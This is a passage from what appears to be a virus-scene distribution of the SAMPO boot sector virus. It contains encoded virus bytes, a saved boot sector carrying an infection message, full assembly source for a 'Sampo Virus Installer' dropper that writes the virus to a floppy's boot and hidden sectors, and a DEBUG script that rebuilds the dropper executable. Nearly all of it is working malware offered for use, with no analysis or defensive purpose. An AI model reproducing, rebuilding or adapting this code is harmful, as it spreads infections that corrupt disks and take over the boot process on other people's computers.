db 099h,05Ah,0EFh,003h,0F3h,0C0h,089h,00Dh,0EFh,003h,0BDh,073h,003h
db 000h,0F2h,089h,04Fh,001h,089h,077h,000h,0C0h,0A3h,0EAh,003h,0B7h
db 000h,0CEh,010h,0FDh,0C5h,0C0h,051h,088h,0D2h,085h,0F1h,0B2h,005h
db 0D1h,0E1h,083h,0C9h,002h,088h,0C9h,059h,0C0h,0EBh,0E0h,0FCh,039h
db 035h,0E9h,003h,076h,0F4h,0C0h,02Bh,003h,00Ah,001h,001h,00Fh,003h
db 08Dh,0DBh,031h,0E7h,0CEh,010h,0B8h,003h,001h,089h,0E8h,089h,015h
db 0EEh,003h,0EBh,0B0h,0FCh,0EBh,094h,0FCh,0FCh,005h,0EFh,001h,082h
db 03Dh,0EFh,001h,093h,002h,075h,000h,0EAh,00Ch,002h,0EBh,07Ch,0FCh
db 030h,0C3h,0A0h,0EFh,001h,08Dh,0C3h,0B8h,003h,07Fh,0FDh,0C2h,0EBh
db 075h,0FCh,083h,0F9h,083h,076h,000h,0EAh,082h,003h,08Fh,0C8h,082h
db 0E8h,003h,013h,08Dh,0C0h,030h,0D8h,0B2h,002h,0B9h,083h,003h,0EBh
db 05Fh,0FCh,071h,06Eh,025h,082h,0BCh,049h,003h,0BFh,09Dh,077h,067h
db 052h,051h,0B7h,00Bh,0CEh,010h,071h,023h,0FDh,0C5h,08Bh,035h,0E9h
db 003h,089h,0D2h,085h,0EAh,083h,0E6h,03Ch,08Bh,02Dh,0EAh,003h,052h
db 0B2h,005h,0D1h,0E9h,05Ah,089h,0E9h,042h,08Ah,00Dh,0E4h,003h,0E8h
db 013h,0C5h,005h,0E9h,003h,007h,0C5h,005h,0EAh,003h,012h,0C4h,005h
db 0E4h,003h,060h,001h,059h,05Ah,0C5h,005h,0EFh,003h,01Fh,08Bh,015h
db 0EEh,003h,0B2h,004h,0EBh,000h,0FCh,005h,01Ch,00Dh,004h,0BAh,041h
db 003h,0BDh,0BDh,002h,088h,0FDh,0FFh,0F0h,0A7h,0FDh,0C2h,0EBh,0ECh
db 0FDh,0B8h,003h,001h,0B2h,005h,0EBh,0E4h,0FDh,0E8h,052h,003h,01Ch
db 05Dh,02Dh,0FCh,02Dh,0ADh,003h,053h,0B8h,003h,07Fh,050h,0C8h,0AEh
db 66 dup (3)
; This is where the original boot sector is placed... :)
old db 0EBh,03Ch,090h,053h,041h,04Dh,050h,04Fh,035h,02Eh,030h,000h,002h
db 002h,001h,000h,002h,070h,000h,0D0h,002h,0FDh,002h,000h,009h,000h
db 002h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,029h
db 059h,065h,05Ah,028h,059h,065h,05Ah,020h,020h,020h,020h,020h,020h
db 020h,020h,046h,041h,054h,031h,032h,020h,020h,020h,0FAh,08Ch,0C8h
db 08Eh,0D8h,08Eh,0C0h,08Eh,0D0h,0BCh,000h,0F0h,0FBh,0B8h,003h,000h
db 0CDh,010h,0FCh,0BEh,068h,07Ch,0ACh,0A8h,0FFh,074h,009h,0B4h,00Eh
db 0BBh,007h,000h,0CDh,010h,0EBh,0F2h,033h,0C0h,0CDh,016h,0CDh,019h
db 057h,061h,072h,06Eh,069h,06Eh,067h,021h,021h,021h,007h,007h,007h
db 00Dh,00Ah,00Ah,059h,06Fh,075h,072h,020h,073h,079h,073h,074h,065h
db 06Dh,020h,06Eh,06Fh,077h,020h,069h,06Eh,066h,065h,063h,074h,065h
db 064h,020h,077h,069h,074h,068h,020h,074h,068h,065h,020h,053h,041h
db 04Dh,050h,04Fh,020h,076h,069h,072h,075h,073h,02Eh,02Eh,02Eh,00Dh
db 00Ah,049h,066h,020h,079h,06Fh,075h,020h,064h,06Fh,020h,06Eh,06Fh
db 074h,020h,06Bh,06Eh,06Fh,077h,020h,068h,06Fh,077h,020h,074h,06Fh
db 020h,068h,061h,06Eh,064h,06Ch,065h,020h,062h,06Fh,06Fh,074h,020h
db 073h,065h,063h,074h,06Fh,072h,020h,076h,069h,072h,075h,073h,065h
db 073h,00Dh,00Ah,070h,06Ch,065h,061h,073h,065h,020h,072h,065h,073h
db 065h,074h,020h,074h,068h,065h,020h,063h,06Fh,06Dh,070h,075h,074h
db 065h,072h,020h,072h,069h,067h,068h,074h,020h,061h,077h,061h,079h
db 020h,061h,06Eh,064h,020h,062h,06Fh,06Fh,074h,020h,066h,072h,06Fh
db 06Dh,020h,061h,00Dh,00Ah,063h,06Ch,065h,061h,06Eh,020h,062h,06Fh
db 06Fh,074h,061h,062h,06Ch,065h,020h,064h,069h,073h,06Bh,02Eh,02Eh
db 02Eh,00Dh,00Ah,00Ah,047h,072h,065h,065h,074h,07Ah,020h,074h,06Fh
db 03Ah,00Dh,00Ah,020h,050h,073h,04Bh,020h,03Ah,020h,054h,068h,061h
db 06Eh,078h,020h,066h,06Fh,072h,020h,061h,070h,070h,072h,06Fh,076h
db 069h,06Eh,067h,020h,06Dh,079h,020h,063h,06Fh,06Eh,074h,072h,069h
db 062h,075h,074h,069h,06Fh,06Eh,073h,020h,03Ah,029h,00Dh,00Ah,020h
db 04Dh,069h,06Bh,065h,065h,020h,03Ah,020h,04Ah,065h,073h,075h,073h
db 020h,069h,073h,020h,06Fh,075h,072h,020h,04Ch,06Fh,072h,064h,020h
db 061h,06Eh,064h,020h,053h,061h,076h,069h,06Fh,075h,072h,020h,03Ah
db 029h,00Dh,00Ah,020h,041h,06Ch,06Ch,020h,076h,069h,072h,075h,073h
db 020h,063h,06Fh,064h,065h,072h,073h,020h,06Fh,075h,074h,020h,074h
db 068h,065h,072h,065h,02Eh,02Eh,02Eh,00Dh,00Ah,020h,04Ch,061h,073h
db 074h,020h,062h,075h,074h,020h,06Eh,06Fh,074h,020h,074h,068h,065h
db 020h,06Ch,065h,061h,073h,074h,020h,061h,06Ch,06Ch,020h,070h,065h
db 06Fh,070h,06Ch,065h,020h,06Fh,066h,020h,023h,076h,069h,072h,075h
db 073h,020h,061h,06Eh,064h,020h,023h,076h,069h,072h,020h,028h,075h
db 06Eh,064h,065h,072h,06Eh,065h,074h,029h,00Dh,00Ah,00Ah,020h,059h
db 065h,05Ah,000h,055h,0AAh
sampo ends
;****************************************************************************
; This is the dropper program.
; Have fun!!!
;*******************************************************************YeZ******
sampo_dropper segment 'code'
org 0
assume cs:sampo_dropper,ds:sampo_dropper,es:sampo_dropper
begin: call main
db 13,10,'Sampo Virus Installer Version "None"',13,10
db 7,7,7,'This will install the SAMPO virus to your disk!!!!'
db 13,10,10,'Enter Drive Letter: $'
ok db 13,10,10,'All Writes OK!',13,10,'$'
er db 13,10,10,'Disk Error occured!!!',7,7,7,13,10,'$'
drv db 0
disk db 0
main: mov ax,cs
mov ds,ax
mov es,ax
pop dx
mov ah,9
int 21h
xor ax,ax
int 16h
or al,20h
push ax
xor al,20h
mov dl,al
mov ah,2
int 21h
pop ax
sub al,'a'
cmp al,1
jbe ok_drv
jmp disk_err
ok_drv:
mov [drv],al
mov ax,0201h
mov bx,offset buffer
mov cx,1
xor dh,dh
mov dl,[drv]
int 13h
jnc no_err_read
jmp disk_err
no_err_read:
cmp byte ptr [bx+15h],0fdh ;chk if disk is a 360k? low tech?
je ok_to_proceed ;YeZ it is!
mov byte ptr [disk],0ffh ;Sir! high tech disk :)
ok_to_proceed:
lea si,[bx+11]
assume cs:sampo_dropper,ds:sampo_dropper,es:sampo
mov ax,seg sampo
mov es,ax
mov di,11
mov cx,28
cld
push si
push cx
repe movsb ;copy bpb to virus boot sector
pop cx
pop si
mov di,offset old+11
repe movsb ;copy bpb to saved boot sector
mov si,3 ;load repeatition if on error...
try_again1:
test byte ptr [disk],0ffh ;is it a high tech disk?
jz ok_to_write_boot ;nop low tech :(
mov byte ptr [samp_cyl2],4fh ;Reset sampo's configuration.
ok_to_write_boot:
mov ax,0301h ;write to on your disk's boot :]
mov bx,0000h
mov cx,0001h
mov dh,0
mov dl,[drv]
int 13h
jnc proceed2
xor ax,ax ;Reset disk on error!
int 13h
dec si
jnz try_again1
jmp disk_err
proceed2:
mov si,3
mov bx,0200h
try_2:
mov ax,0305h ;Write 5 sectors.
test byte ptr [disk],0ffh ;Is it a high tech disk?
jz ok_27
mov ch,4fh ;YeZ so set cylinder to 4fh.
jmp write_now_ext
ok_27:
mov ch,27h ;if 360K then cylinder = 27h
write_now_ext:
mov cl,1 ; Sector Number 1
mov dh,1 ; Head 1
mov dl,[drv] ; Drive our install drive!
int 13h ; Write it!!!
jnc ok_all
xor ax,ax ;Reset disk on error
int 13h
dec si
jnz try_2
disk_err:
mov ah,9
mov dx,offset er
int 21h
mov al,0ffh
jmp _out
ok_all:
mov dx,offset ok
mov ah,9
int 21h
xor al,al
_out:
mov ah,4ch
int 21h
buffer db 512 dup (?)
sampo_dropper ends
;
_stack_ segment stack 'stack'
dw 32 dup (?)
_stack_ ends
end begin
ÄÄ DRPSAMPO.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Sampo virus dropper is an EXE program. After creating the dropper
program, rename the program created from DRPSAMPO.EX_ to DRPSAMPO.EXE.
ÄÄ DRPSAMPO.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N DRPSAMPO.EX_
F 0100 107F 0
F 0A00 0AFB 9B
F 0A1D 0ADF 40
F 0B00 0CFF 3
E 0100 4D 5A 7E 01 08 00 01 00 20 00 25 00 FF FF F8
E 0110 40 00 00 00 00 00 C0 00 3E 00 00 00 01
E 013E F8
E 0140 C0
E 0300 EB 3C 90 53 41 4D 50 4F 35 2E 30 00 02 02 01
E 0310 02 70 00 D0 02 FD 02 00 09 00 02
E 0326 29 59 65 5A 28 59 65 5A 20 20
E 0330 20 20 20 20 20 20 46 41 54 31 32 20 20 20 EB 0F
E 0340 27 01 00 00 02 00 00 E9 AC EB 1F EA 05 EB 15 FA
E 0350 8C C8 8E D8 8E D0 BC 00 F0 8B C8 83 C1 06 A1 13
E 0360 04 BB 00 02 8B D0 25 FF 03 D3 C0 8E C0 8B C2 26
E 0370 8B 0E 00 00 39 0E 47 7C 74 2D 39 0E 49 7C 74 64
E 0380 39 0E 4B 7C 74 36 39 0E 4D 7C 74 45 BA 3D 00 8B
E 0390 FA BE 00 7C 03 F2 B9 27 00 FC F3 A6 74 03 EB 76
E 03A0 90 FB 33 C0 06 53 CB BF 4C 00 26 A1 0A 00 89 05
E 03B0 26 A1 0C 00 89 45 02 2D 04 00 EB 5D BF 4C 00 26
E 03C0 A1 09 00 89 05 26 A1 0B 00 89 45 02 2D 04 00 EB
E 03D0 48 BF 4C 00 A1 E4 01 89 05 A1 E6 01 89 45 02 2D
E 03E0 04 00 EB 35 BF 20 00 26 A1 7F 02 89 05 26 A1 81
E 03F0 02 89 5D 02 BF 24 00 26 A1 CA 01 89 05 26 A1 CC
E 0400 01 89 45 02 BF 4C 00 26 A1 AC 07 89 05 26 A1 AE
E 0410 07 89 45 02 EB 06 2D 06 00 A3 13 04 FB 33 C9 83
E 0420 C1 06 BE 00 7C 25 FF 03 D3 C0 BF 00 00 8E C0 B9
E 0431 02 FC F3 A4 8C 06 45 7C 33 C0 CD 13 B8 05 02
E 0440 8A 2E 40 7C B6 01 8A 16 42 7C 80 FA 80 75 02 B6
E 0451 8A 0E 41 7C CD 13 72 E0 EB 00 B8 01 00 FF 2E
E 0460 43 7C 9C 50 53 51 52 1E 06 56 57 BA DA 03 EC A8
E 0470 08 74 FB FA 33 C0 B2 0A EE 34 08 EE 8B 16 40 7C
E 0480 34 01 FE C1 8A D1 EC BA DA 03 EC A8 50 75 FB EE
E 0490 34 50 EE 5F 5E 07 1F 5A 59 5B 58 9D CB C3 0D 0A
E 04A0 4E 6F 6E 2D 53 79 73 74 65 6D 20 64 69 73 6B 20
E 04B0 6F 72 20 64 69 73 6B 20 65 72 72 6F 72 0D 0A 52
E 04C0 65 70 6C 61 63 65 20 61 6E 64 20 70 72 65 73 73
E 04D0 20 61 6E 79 20 6B 65 79 20 77 68 65 6E 20 72 65
E 04E0 61 64 79 0D 0A 00 49 4F 20 20 20 20 20 20 53 59
E 04F0 53 4D 53 44 4F 53 20 20 20 53 59 53 00 00 55 AA
E 0500 EB 11 00 00 00 00 00 00 00 00 00 00 00 00 11 7A
E 0510 02 80 02 3D 01 00 74 03 E9 5D 01 FA 0E 1F 33 C0
E 0520 8E C0 80 3E 42 00 80 74 47 B4 04 CD 1A 81 FA 30
E 0530 11 75 22 26 A0 6E 04 A2 0E 02 BF 20 00 26 8B 05
E 0540 A3 02 02 26 8B 45 02 A3 04 02 26 C7 05 8D 03 8C
E 0550 C8 26 89 45 02 BF 24 00 26 8B 05 A3 06 02 26 8B
E 0560 45 02 A3 08 02 26 C7 05 D7 03 8C C8 26 89 45 02
E 0570 BF 4C 00 26 8B 05 A3 0A 02 26 8B 45 02 A3 0C 02
E 0580 26 C7 05 82 04 8C C8 26 89 45 02 06 1E 07 1F FB
E 0590 A1 13 04 26 A3 0F 02 05 06 00 26 A3 11 02 BE
E 05A1 BF 00 0C B9 00 04 FC F3 A4 0E 1F BF 00 14 BE
E 05B1 07 B4 13 B9 00 01 AC D0 C8 89 05 47 47 E2 F7
E 05C0 B9 01 00 BB 00 10 BA 80 00 BE 03 00 B8 01 02 9C
E 05D0 FF 1E 0A 02 73 0D 33 C0 9C FF 1E 0A 02 4E 75 EC
E 05E0 E9 95 00 B8 4F 00 8B F8 BE 00 10 03 F0 B9 27
E 05F0 FC F3 A6 74 EB 80 3E 42 01 80 75 0A B9 0E 00 C6
E 0600 06 42 01 00 EB BD BE 00 0A BF 00 16 B9 00 02 FC
E 0610 F3 A4 BE 00 10 BF 00 0A B9 00 02 F3 A4 BE 03
E 0620 BB 00 02 B9 0A 00 BA 80 00 B8 05 03 88 2E 40
E 0630 88 16 42 00 88 0E 41 00 9C FF 1E 0A 02 73 0C 33
E 0640 C0 9C FF 1E 0A 02 4E 75 E0 EB 2D BE 3E 00 BF 3E
E 0650 10 B9 5F 01 F3 A4 B8 EB 3C A3 00 10 BB 00 10 B9
E 0660 01 00 BA 80 00 B8 01 03 9C FF 1E 0A 02 BE 00 16
E 0670 BF 00 0A B9 00 02 F3 A4 0E 1F 33 C0 8E C0 50 BE
E 0681 0A BF 00 7C 57 B9 00 02 FC F3 A4 CB 9C 50 53
E 0690 51 52 1E 06 57 56 0E 1F 33 C0 8E C0 26 A0 6E 04
E 06A0 2A 06 0E 02 3C 02 72 21 B8 00 B8 8E C0 BF 68
E 06B0 BB 09 00 BE 00 14 BA DA 03 EC A8 04 74 FB B9 1C
E 06C1 F3 A5 83 C7 68 4B 75 F5 5E 5F 07 1F 5A 59 5B
E 06D0 58 9D 2E FF 2E 02 02 9C 50 53 51 52 1E 06 57 56
E 06E0 E4 60 3C 53 74 03 E9 8B 00 B8 00 00 8E C0 26 A0
E 06F0 17 04 24 0C 3C 0C 75 7C FA BA 61 00 EC 0C 80 EE
E 0700 34 80 EE B0 20 E6 20 5E 5F 07 1F 5A 59 5B 58 9D
E 0710 FA 33 C0 8E C0 0E 1F A1 0F 02 26 A3 13 04 26 A0
E 0720 6E 04 A2 0E 02 BE 00 0C BF 00 00 B9 00 04 FC F3
E 0730 A4 FB B8 02 00 CD 10 B0 08 E6 61 B8 04 00 B9 FF
E 0740 FF E2 FE 48 75 F8 B0 C8 E6 61 B0 48 E6 61 B8 08
E 0751 B9 FF FF E2 FE 48 75 F8 B4 0E BE 6F 04 AC 0A
E 0760 C0 74 04 CD 10 EB F7 26 C6 06 17 04 00 CD 19 0D
E 0770 0A 0D 0A 00 5E 5F 07 1F 5A 59 5B 58 9D 2E FF 2E
E 0780 06 02 80 FC 02 75 3D 83 F9 01 75 38 80 FE 00 75
E 0790 33 81 FB 00 7C 74 2D 80 FA 80 74 25 80 FA 01 77
E 07A0 23 9C 50 53 51 52 1E 06 57 56 33 C0 8E D8 2E A1
E 07B0 84 0C 39 06 84 00 74 5B 2E A1 11 02 A3 13 04 EB
E 07C0 08 B9 0E 00 2E FF 2E 0A 02 0E 1F 0E 07 BE 03
E 07D0 BB 00 10 B6 00 B9 01 00 B8 01 02 9C FF 1E 0A 02
E 07E0 73 0C 33 C0 9C FF 1E 0A 02 4E 75 EC EB 25 B8 4F
E 07F1 8B F8 BE 00 10 03 F0 B9 27 00 FC F3 A6 74 13
E 0800 B8 01 03 B9 01 00 B6 00 9C 2E FF 1E 0A 02 72 11
E 0810 EB 6A 90 5E 5F 07 1F 5A 59 5B 58 9D 2E FF 2E 0A
E 0820 02 80 3E 16 10 02 74 07 80 3E 16 10 07 75 E4 5E
E 0830 5F 07 1F 5A 59 5B 58 9D 9C 2E FF 1E 0A 02 9C 50
E 0840 51 1E 56 57 8C C8 8E D8 BF 00 12 BE 00 08 B9
E 0850 02 AC 34 03 88 05 47 E2 F8 BE 00 12 8B FB B9
E 0860 02 FC F3 A4 BF 00 12 BE 00 08 B9 00 02 AC 88 05
E 0870 47 E2 FA 5F 5E 1F 59 58 9D CA 02 00 BE 00 10 BF
E 0881 0A B9 00 02 FC F3 A4 80 7F 15 FD 74 04 B5 4F
E 0890 EB 02 B5 27 BB 00 02 88 2E 40 00 B6 01 C6 06 42
E 08A2 B1 01 88 0E 41 00 B8 05 03 9C FF 1E 0A 02
E 08B0 73 03 E9 6C FF BE 3E 00 BF 3E 10 B9 5F 01 F3 A4
E 08C0 BB 00 10 B8 EB 3C 89 07 B8 01 03 BB 00 10 B9 01
E 08D1 B6 00 9C FF 1E 0A 02 72 D8 E9 36 FF
E 0A00 93
E 0A1B 77 75
E 0A25 A6 40 82 40 9A 40 A0 40 9E
E 0A37 75 75
E 0A40 44 A0 E4 DE D4 CA C6 E8 40 B0 44
E 0A53 75 75 40 86 DE E0 F2 E4 D2 CE D0 E8
E 0A60 50 C6 52 62 72 72 62 40 C4 F2 40 E8 D0 CA 40 75
E 0A70 75 40 A6 82 9A A0 9E 40 B0 5A A8 CA C2 DA 5C
E 0A80 82 D8 D8 40 E4 D2 CE D0 E8 E6 40 75 75 40 E4 CA
E 0A90 E6 CA E4 EC CA C8 5C
E 0AA7 75 75 40 40 AA DC D2 EC CA
E 0AB0 E4 E6 D2 E8 F2 40 9E CC 40 A8 D0 CA 40 8A C2 E6
E 0AC0 E8 40 40 75 75
E 0ACF 9A
E 0AD0 C2 DC D2 D8 C2
E 0ADF 75
E 0AE0 91
E 0AFB 79
E 0B00 E8 1F 93 53 40 23 57 6C 6C 6F 70
E 0B1E B8
E 0B20 7F 30 C3 F9 8D D3 88 E0 F8 8D DB A2 10 07 4B A0
E 0B30 10 07 B2 05 D0 E3 8D C3 BA 03 01 0D 1C 88 F0 30
E 0B40 FC FF F0 A7 05 B8 ED 03 50 C8 BF 9D 91 8C 9D 58
E 0B50 9D DC BD 92 88 95 D1 A8 B9 B0 B9 BA B3 B2 B5 BF
E 0B60 BD DC D4 BE 9D 8E 9F 99 90 93 92 9D D5 F1 F6 FC
E 0B70 43 02 05 03 6B 02 0B 03 83 01 02 02 D3 01 01 02
E 0B80 63 0A 0E 02 A3 06 07 02 43 08 0D 02 FC FC 05
E 0B90 F7 01 01 02 BB 02 00 CE 10 C0 BE 07 03 BB 02 01
E 0BA0 CE 10 70 04 31 E7 CE 10 4E 76 F1 C0 9F 99 5A EF
E 0BB1 F3 C0 89 0D EF 03 BD 73 03 00 F2 89 4F 01 89
E 0BC0 77 00 C0 A3 EA 03 B7 00 CE 10 FD C5 C0 51 88 D2
E 0BD0 85 F1 B2 05 D1 E1 83 C9 02 88 C9 59 C0 EB E0 FC
E 0BE0 39 35 E9 03 76 F4 C0 2B 03 0A 01 01 0F 03 8D DB
E 0BF0 31 E7 CE 10 B8 03 01 89 E8 89 15 EE 03 EB B0 FC
E 0C00 EB 94 FC FC 05 EF 01 82 3D EF 01 93 02 75 00 EA
E 0C10 0C 02 EB 7C FC 30 C3 A0 EF 01 8D C3 B8 03 7F FD
E 0C20 C2 EB 75 FC 83 F9 83 76 00 EA 82 03 8F C8 82 E8
E 0C31 13 8D C0 30 D8 B2 02 B9 83 03 EB 5F FC 71 6E
E 0C40 25 82 BC 49 03 BF 9D 77 67 52 51 B7 0B CE 10 71
E 0C50 23 FD C5 8B 35 E9 03 89 D2 85 EA 83 E6 3C 8B 2D
E 0C60 EA 03 52 B2 05 D1 E9 5A 89 E9 42 8A 0D E4 03 E8
E 0C70 13 C5 05 E9 03 07 C5 05 EA 03 12 C4 05 E4 03 60
E 0C80 01 59 5A C5 05 EF 03 1F 8B 15 EE 03 B2 04 EB 00
E 0C90 FC 05 1C 0D 04 BA 41 03 BD BD 02 88 FD FF F0 A7
E 0CA0 FD C2 EB EC FD B8 03 01 B2 05 EB E4 FD E8 52
E 0CB0 1C 5D 2D FC 2D AD 03 53 B8 03 7F 50 C8 AE
E 0D00 EB 3C 90 53 41 4D 50 4F 35 2E 30 00 02 02 01
E 0D10 02 70 00 D0 02 FD 02 00 09 00 02
E 0D26 29 59 65 5A 28 59 65 5A 20 20
E 0D30 20 20 20 20 20 20 46 41 54 31 32 20 20 20 FA 8C
E 0D40 C8 8E D8 8E C0 8E D0 BC 00 F0 FB B8 03 00 CD 10
E 0D50 FC BE 68 7C AC A8 FF 74 09 B4 0E BB 07 00 CD 10
E 0D60 EB F2 33 C0 CD 16 CD 19 57 61 72 6E 69 6E 67 21
E 0D70 21 21 07 07 07 0D 0A 0A 59 6F 75 72 20 73 79 73
E 0D80 74 65 6D 20 6E 6F 77 20 69 6E 66 65 63 74 65 64
E 0D90 20 77 69 74 68 20 74 68 65 20 53 41 4D 50 4F 20
E 0DA0 76 69 72 75 73 2E 2E 2E 0D 0A 49 66 20 79 6F 75
E 0DB0 20 64 6F 20 6E 6F 74 20 6B 6E 6F 77 20 68 6F 77
E 0DC0 20 74 6F 20 68 61 6E 64 6C 65 20 62 6F 6F 74 20
E 0DD0 73 65 63 74 6F 72 20 76 69 72 75 73 65 73 0D 0A
E 0DE0 70 6C 65 61 73 65 20 72 65 73 65 74 20 74 68 65
E 0DF0 20 63 6F 6D 70 75 74 65 72 20 72 69 67 68 74 20
E 0E00 61 77 61 79 20 61 6E 64 20 62 6F 6F 74 20 66 72
E 0E10 6F 6D 20 61 0D 0A 63 6C 65 61 6E 20 62 6F 6F 74
E 0E20 61 62 6C 65 20 64 69 73 6B 2E 2E 2E 0D 0A 0A 47
E 0E30 72 65 65 74 7A 20 74 6F 3A 0D 0A 20 50 73 4B 20
E 0E40 3A 20 54 68 61 6E 78 20 66 6F 72 20 61 70 70 72
E 0E50 6F 76 69 6E 67 20 6D 79 20 63 6F 6E 74 72 69 62
E 0E60 75 74 69 6F 6E 73 20 3A 29 0D 0A 20 4D 69 6B 65
E 0E70 65 20 3A 20 4A 65 73 75 73 20 69 73 20 6F 75 72
E 0E80 20 4C 6F 72 64 20 61 6E 64 20 53 61 76 69 6F 75
E 0E90 72 20 3A 29 0D 0A 20 41 6C 6C 20 76 69 72 75 73
E 0EA0 20 63 6F 64 65 72 73 20 6F 75 74 20 74 68 65 72
E 0EB0 65 2E 2E 2E 0D 0A 20 4C 61 73 74 20 62 75 74 20
E 0EC0 6E 6F 74 20 74 68 65 20 6C 65 61 73 74 20 61 6C
E 0ED0 6C 20 70 65 6F 70 6C 65 20 6F 66 20 23 76 69 72
E 0EE0 75 73 20 61 6E 64 20 23 76 69 72 20 28 75 6E 64
E 0EF0 65 72 6E 65 74 29 0D 0A 0A 20 59 65 5A 00 55 AA
E 0F00 E8 A9 00 0D 0A 53 61 6D 70 6F 20 56 69 72 75 73
E 0F10 20 49 6E 73 74 61 6C 6C 65 72 20 56 65 72 73 69
E 0F20 6F 6E 20 22 4E 6F 6E 65 22 0D 0A 07 07 07 54 68
E 0F30 69 73 20 77 69 6C 6C 20 69 6E 73 74 61 6C 6C 20
E 0F40 74 68 65 20 53 41 4D 50 4F 20 76 69 72 75 73 20
E 0F50 74 6F 20 79 6F 75 72 20 64 69 73 6B 21 21 21 21
E 0F60 0D 0A 0A 45 6E 74 65 72 20 44 72 69 76 65 20 4C
E 0F70 65 74 74 65 72 3A 20 24 0D 0A 0A 41 6C 6C 20 57
E 0F80 72 69 74 65 73 20 4F 4B 21 0D 0A 24 0D 0A 0A 44
E 0F90 69 73 6B 20 45 72 72 6F 72 20 6F 63 63 75 72 65
E 0FA0 64 21 21 21 07 07 07 0D 0A 24 00 00 8C C8 8E D8
E 0FB0 8E C0 5A B4 09 CD 21 33 C0 CD 16 0C 20 50 34 20
E 0FC0 8A D0 B4 02 CD 21 58 2C 61 3C 01 76 03 E9 95
E 0FD0 A2 AA 00 B8 01 02 BB 7E 01 B9 01 00 32 F6 8A 16
E 0FE0 AA 00 CD 13 73 03 EB 7D 90 80 7F 15 FD 74 05 C6
E 0FF0 06 AB 00 FF 8D 77 0B B8 00 00 8E C0 BF 0B 00 B9
E 1000 1C 00 FC 56 51 F3 A4 59 5E BF 0B 0A F3 A4 BE 03
E 1011 F6 06 AB 00 FF 74 06 26 C6 06 40 00 4F B8 01
E 1020 03 BB 00 00 B9 01 00 B6 00 8A 16 AA 00 CD 13 73
E 1030 0A 33 C0 CD 13 4E 75 D9 EB 2B 90 BE 03 00 BB
E 1040 02 B8 05 03 F6 06 AB 00 FF 74 05 B5 4F EB 03 90
E 1050 B5 27 B1 01 B6 01 8A 16 AA 00 CD 13 73 13 33 C0
E 1060 CD 13 4E 75 DC B4 09 BA 8C 00 CD 21 B0 FF EB 0A
E 1070 90 BA 78 00 B4 09 CD 21 32 C0 B4 4C CD 21
RCX
0F7E
W
Q
ÄÄ DRPSAMPO.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<HF3>=-